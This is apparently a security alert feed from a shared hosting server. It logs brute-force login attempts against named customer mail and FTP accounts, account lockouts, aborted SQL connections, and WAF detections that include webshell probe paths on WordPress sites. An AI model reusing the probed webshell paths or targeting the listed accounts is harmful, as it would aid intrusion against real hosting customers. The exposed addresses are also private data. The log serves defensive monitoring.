
plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:51:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:51:01 dovecot_login authenticator failed for H=(WE4JXI) [178.16.52.139]:59124: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:51:21 dovecot_login authenticator failed for H=(0NsPzFIxd) [141.98.11.11]:54806: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:52:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50285: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:52:04 dovecot_login authenticator failed for H=(ZFVkjl) [178.16.52.139]:52180: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:52:25 dovecot_login authenticator failed for H=(nOYorEE) [178.16.54.138]:54545: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.162
country_id: 2750405
description:
2026-02-02  4:52:52 260094 [Warning] Aborted connection 260094 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.162' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:52:19 dovecot_login authenticator failed for H=(WHgpTuC0B) [165.154.217.204]:57199: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.246.106
country_id: 1269750
description:
2026-02-02 04:52:14 dovecot_login authenticator failed for H=([125.17.216.185]) [128.185.246.106]:55234: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:52:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:52:23 dovecot_login authenticator failed for H=(UcrLcbaO) [158.94.208.175]:64338: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:52:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54438: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.234.135.54
country_id: 1562822
description:
2026-02-02 04:52:32 dovecot_login authenticator failed for H=(125.234.135.54.hcm.viettel.vn) [125.234.135.54]:60370: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:52:38 dovecot_login authenticator failed for H=(0YS6pex0u) [165.154.217.204]:49430: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:52:01 dovecot_login authenticator failed for H=(A3kPlWfhk) [141.98.11.11]:49824: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:53:23 dovecot_login authenticator failed for H=(ZUFY63vtTw) [141.98.11.11]:61385: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:53:29 dovecot_login authenticator failed for H=(lKcx20BiuQ) [158.94.208.175]:56737: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:53:16 dovecot_login authenticator failed for H=(yzSq2C) [165.154.217.204]:53679: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.181.119.163
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2752 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:53:02 dovecot_login authenticator failed for H=(a4DE4c) [178.16.52.139]:55971: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:53:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63844: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:53:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:53:27 dovecot_login authenticator failed for H=(V7BUNK) [178.16.54.138]:60275: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 181.117.8.241
country_id: 3865483
domain: oxbold.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:54:08 dovecot_login authenticator failed for H=(pCVlAviz7) [141.98.11.11]:50224: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-02 04:54:47 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:51110: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:54:47 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 181.117.8.241
country_id: 3865483
description:
Feb  2 04:54:00 sv3 pure-ftpd[1416165]: (?@181.117.8.241) [WARNING] Authentication failed for user [steven@oxbold.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.117.8.241
country_id: 3865483
description:
2026-02-02 04:54:10 dovecot_plain authenticator failed for H=(DESKTOP-D6RI6JH) [181.117.8.241]:37697: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:54:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55502: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-02 04:54:20 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:33074: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:54:36 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49908: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 181.117.8.241
country_id: 3865483
description:
Feb  2 04:54:46 sv3 pure-ftpd[1416592]: (?@181.117.8.241) [WARNING] Authentication failed for user [steven]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:54:13 dovecot_login authenticator failed for H=(AKm4qu) [165.154.217.204]:53248: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-02 04:54:36 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:43161: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:54:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:54:23 dovecot_login authenticator failed for H=(GYR9xtRp9) [178.16.52.139]:61126: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:55:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65041: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:55:12 dovecot_login authenticator failed for H=(YQ368HD) [141.98.11.11]:58013: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-02 04:56:01 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:19127: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 181.117.8.241
country_id: 3865483
description:
Feb  2 04:55:01 sv3 pure-ftpd[1416825]: (?@181.117.8.241) [WARNING] Authentication failed for user [oxbold]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.117.8.241
country_id: 3865483
description:
2026-02-02 04:55:04 dovecot_plain authenticator failed for H=(DESKTOP-D6RI6JH) [181.117.8.241]:41033: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:55:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:55:01 dovecot_login authenticator failed for H=(ay8Pig) [158.94.208.175]:65350: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:55:11 dovecot_login authenticator failed for H=(AHu1xVYD) [165.154.217.204]:57515: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-02 04:55:08 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:54306: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:55:15 dovecot_login authenticator failed for H=(PmPbabE) [178.16.52.139]:60178: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:56:46 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52326: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:56:49 dovecot_login authenticator failed for H=(1dIWDJJ) [158.94.208.175]:63590: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:56:07 dovecot_login authenticator failed for H=(MmMdmGHxE) [178.16.52.139]:60438: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:56:08 dovecot_login authenticator failed for H=(vKHm9S8TKf) [165.154.217.204]:63488: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:56:13 dovecot_login authenticator failed for H=(hbhC8BdBAI) [178.16.54.138]:54553: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-02 04:56:40 H=(localhost.localdomain) [78.153.140.207]:56422 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:56:45 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52488: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:56:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-02 04:56:18 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:36500: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-02 04:56:18 dovecot_login authenticator failed for H=(D06e2Oo) [141.98.11.11]:54173: 535 Incorrect authentication data (set_id=nmusa.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.117.8.241
country_id: 3865483
description:
2026-02-02 04:56:20 dovecot_plain authenticator failed for H=(DESKTOP-D6RI6JH) [181.117.8.241]:46200: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:56:47 dovecot_login authenticator failed for H=(qB4bkQv) [165.154.217.204]:65488: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:57:22 dovecot_login authenticator failed for H=(aTKA3MUu) [158.94.208.175]:51203: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:57:24 dovecot_login authenticator failed for H=(EcW7Ymhs) [178.16.52.139]:51202: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:57:36 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63857: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-02 04:57:52 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:25332: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:57:06 dovecot_login authenticator failed for H=(1zgzoS) [165.154.217.204]:51157: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:57:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-02 04:57:39 dovecot_login authenticator failed for H=([122.187.230.104]) [122.187.230.104]:45756: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.142
country_id: 1269750
description:
2026-02-02 04:58:03 dovecot_login authenticator failed for H=([125.19.196.207]) [27.123.104.142]:38298: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.126
country_id: 1668284
description:
2026-02-02 04:58:16 dovecot_login authenticator failed for H=111-70-32-126.emome-ip.hinet.net [111.70.32.126]:52025: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:58:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:58:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:58:21 dovecot_login authenticator failed for H=(41v88msqV) [158.94.208.175]:65194: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:58:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58847: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.162
country_id: 2750405
description:
2026-02-02  4:58:50 260301 [Warning] Aborted connection 260301 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.162' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:58:03 dovecot_login authenticator failed for H=(pUHgH7XuP2) [165.154.217.204]:62531: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 04:59:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36306: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:58:15 dovecot_login authenticator failed for H=(2mhD6V12B) [178.16.54.138]:55458: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:58:16 dovecot_login authenticator failed for H=(5rSFErkGB) [178.16.52.139]:54627: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 04:59:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account myloo@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 04:59:14 dovecot_login authenticator failed for H=(6OT4RLj) [178.16.54.138]:60000: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 04:59:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 04:59:20 dovecot_login authenticator failed for H=(gmHP3we) [165.154.217.204]:51808: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 04:59:22 dovecot_login authenticator failed for H=(i4zsCC0) [158.94.208.175]:64106: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-02-02 04:59:32 dovecot_plain authenticator failed for H=(excars) [102.53.15.180]:11547: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 04:59:08 dovecot_login authenticator failed for H=(TZ6jGWI5) [178.16.52.139]:57644: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 04:59:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52111: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:00:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61928: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.170.98.175
country_id: 1814991
description:
2026-02-02 05:00:14 dovecot_login authenticator failed for H=([127.0.0.1]) [175.170.98.175]:41160: 535 Incorrect authentication data (set_id=meemee@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:00:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:00:19 dovecot_login authenticator failed for H=(Gw9Ply3d) [178.16.54.138]:58928: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-02 05:00:31 H=(localhost.localdomain) [78.153.140.207]:34430 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:00:13 dovecot_login authenticator failed for H=(0hWKGcajh) [178.16.52.139]:54983: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:00:17 dovecot_login authenticator failed for H=(KpEAj91) [165.154.217.204]:62003: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.93.205
country_id: 1168579
description:
2026-02-02 05:00:20 dovecot_login authenticator failed for H=([127.0.0.1]) [163.223.93.205]:54345: 535 Incorrect authentication data (set_id=meemee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:00:25 dovecot_login authenticator failed for H=(mCFJmyd) [69.5.189.21]:55047: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:00:29 dovecot_login authenticator failed for H=(wjQvV9) [158.94.208.175]:64929: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 05:01:12 dovecot_login authenticator failed for H=(nnAuqO6t) [69.5.189.21]:63147: 535 Incorrect authentication data (set_id=steven)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:01:27 dovecot_login authenticator failed for H=(6ISv1Z55) [178.16.54.138]:53460: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:01:34 dovecot_login authenticator failed for H=(ym4DQQKXt) [165.154.217.204]:49222: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:01:06 dovecot_login authenticator failed for H=(ZN0Den) [158.94.208.175]:58439: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:01:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47702: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:01:15 dovecot_login authenticator failed for H=(pNGfkyvDGX) [165.154.217.204]:52038: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:01:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55516: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:01:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-02 05:01:16 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:49826: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:01:11 dovecot_login authenticator failed for H=(VCt5qGyM) [178.16.52.139]:61731: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 05:01:27 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:37808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
